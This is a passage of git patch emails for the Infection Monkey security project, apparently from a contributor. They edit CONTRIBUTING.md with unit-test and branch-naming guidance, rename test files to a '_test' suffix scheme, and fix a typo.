format --- CONTRIBUTING.md | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2744fac11..3e509077c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,11 +2,13 @@ Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! -Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues). +Are you about to report a bug? Sorry to hear it. Here's our +[Issue tracker](https://github.com/guardicore/monkey/issues). Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. -If you want to contribute new code or fix bugs.. +If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the +maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). ## Submitting code @@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c * **Don't** leave your pull request description blank. * **Do** license your code as GPLv3. -Also, please submit PRs to the develop branch. +Also, please submit PRs to the `develop` branch. + +#### Unit tests +**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same +filename, followed by the _test prefix. So for example: `somefile.py` will be tested by `somefile_test.py`. + +Please try to read some of the existing unit testing code, so you can see some examples. + +#### Branch naming scheme +**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example, +`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`. ## Issues * **Do** write a detailed description of your bug and use a descriptive title. From 39437c59139d8db12c5452bd0de244d29d94937f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 14:13:24 +0300 Subject: [PATCH 12/13] Rename existing test files in accordance to new naming scheme --- ...r_instance_data_from_aws_response.py => aws_service_test.py} | 2 +- .../{test_victim_host_telem.py => victim_host_telem_test.py} | 0 .../monkey_island/cc/models/{test_monkey.py => monkey_test.py} | 0 .../services/{test_PTHReportService.py => pth_report_test.py} | 0 4 files changed, 1 insertion(+), 1 deletion(-) rename monkey/common/cloud/{test_filter_instance_data_from_aws_response.py => aws_service_test.py} (97%) rename monkey/infection_monkey/telemetry/attack/{test_victim_host_telem.py => victim_host_telem_test.py} (100%) rename monkey/monkey_island/cc/models/{test_monkey.py => monkey_test.py} (100%) rename monkey/monkey_island/cc/services/{test_PTHReportService.py => pth_report_test.py} (100%) diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py similarity index 97% rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py rename to monkey/common/cloud/aws_service_test.py index 8aec518d3..699e2c489 100644 --- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py +++ b/monkey/common/cloud/aws_service_test.py @@ -7,7 +7,7 @@ import json __author__ = 'shay.nehmad' -class TestFilter_instance_data_from_aws_response(TestCase): +class TestFilterInstanceDataFromAwsResponse(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { diff --git a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py similarity index 100% rename from monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py rename to monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/monkey_test.py similarity index 100% rename from monkey/monkey_island/cc/models/test_monkey.py rename to monkey/monkey_island/cc/models/monkey_test.py diff --git a/monkey/monkey_island/cc/services/test_PTHReportService.py b/monkey/monkey_island/cc/services/pth_report_test.py similarity index 100% rename from monkey/monkey_island/cc/services/test_PTHReportService.py rename to monkey/monkey_island/cc/services/pth_report_test.py From 7f543d675d07059a333d675878e510eaf95424ad Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 15:04:23 +0300 Subject: [PATCH 13/13] Fixed typo --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 3e509077c..035eb0124 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -26,7 +26,7 @@ Also, please submit PRs to the `develop` branch. #### Unit tests **Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same -filename, followed by the _test prefix. So for example: `somefile.py` will be tested by `somefile_test.py`. +filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`. Please try to read some of the existing unit testing code, so you can see some examples.